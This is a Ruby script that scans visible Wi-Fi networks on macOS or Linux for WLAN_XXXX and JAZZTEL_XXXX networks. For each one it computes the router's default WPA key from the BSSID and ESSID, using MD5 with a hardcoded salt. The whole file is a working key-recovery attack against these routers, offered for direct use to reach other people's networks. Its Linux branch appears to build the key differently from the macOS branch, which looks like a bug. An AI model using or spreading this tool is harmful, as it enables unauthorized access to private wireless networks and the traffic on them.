jazzfonica

jazzfonica.rb

#!/usr/bin/env ruby
# jazzfonica.rb for Mac OS X
# Scans the visible networks for JAZZTEL_XXXX or WLAN_XXXX and calculates the password
# Ported from PHP example at http://kz.ath.cx/wlan/codigo.txt
# Download and execute with ruby (e.g. ruby jazzfonica.rb) from a Terminal

require 'digest/md5'

messages = []
unless !File.exists?('/System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport')
  IO.popen("/System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport -s | sed -e 's/^[ \t]*//g' | egrep '^(WLAN|JAZZTEL)_' | awk '{print $1\"|\"$2}'") do |output|
    puts "Buscando redes..."
    output.each { |line| messages << "Red: #{line.split("|")[0]}\nClave: #{Digest::MD5.hexdigest('bcgbghgg' << line.split("|")[1].split.join("\n").upcase.gsub( /:/, '')[0,8] << line.split("|")[0].split("_")[1].upcase << line.split("|")[1].split.join("\n").upcase.gsub( /:/, ''))[0,20]}\n" unless line.split("|")[0].split("_")[1].length != 4 }
    puts messages.length <= 0 ? "No se han encontrado redes WLAN_XXXX o JAZZTEL_XXXX" : messages.each { |msg| msg }
  end
else
  cmd =<<-FIN
  sudo iwlist wlan0 scanning | \
  egrep "Address|ESSID" | \
  sed -e 's/^[ \t]*//g' | \
  sed -e 's/^Cell .* Address: //g' | \
  sed -e 's/^ESSID://g' | tr -d '"' | \
  awk '{if ((NR % 2)==0){ printf(" %s\\n",$0)} else { printf("%s",$0)} } ' | \
  awk '{printf "%s|%s\\n",$2,$1}' | \
  egrep '^(WLAN|JAZZTEL)_'
  FIN
  IO.popen(cmd) do |output|
    puts "Buscando redes..."
    messages = output.map do |line|
      essid,mac = line.split("|")
      if essid.split("_")[1].length == 4
        key = 'bcgbghgg' +
              mac.split.join("\n").upcase.gsub( /:/, '')[0,8] +
              essid.split("_")[1].upcase +
              essid.split.join("\n").upcase.gsub( /:/, '')
        hashed_key =  Digest::MD5.hexdigest( key )[0,20]
        #messages <<
        "Red: #{essid} Clave: #{hashed_key}"
      end
    end.compact
    puts messages.length <= 0 ? "No se han encontrado redes WLAN_XXXX o JAZZTEL_XXXX" : messages.each { |msg| msg }
  end
end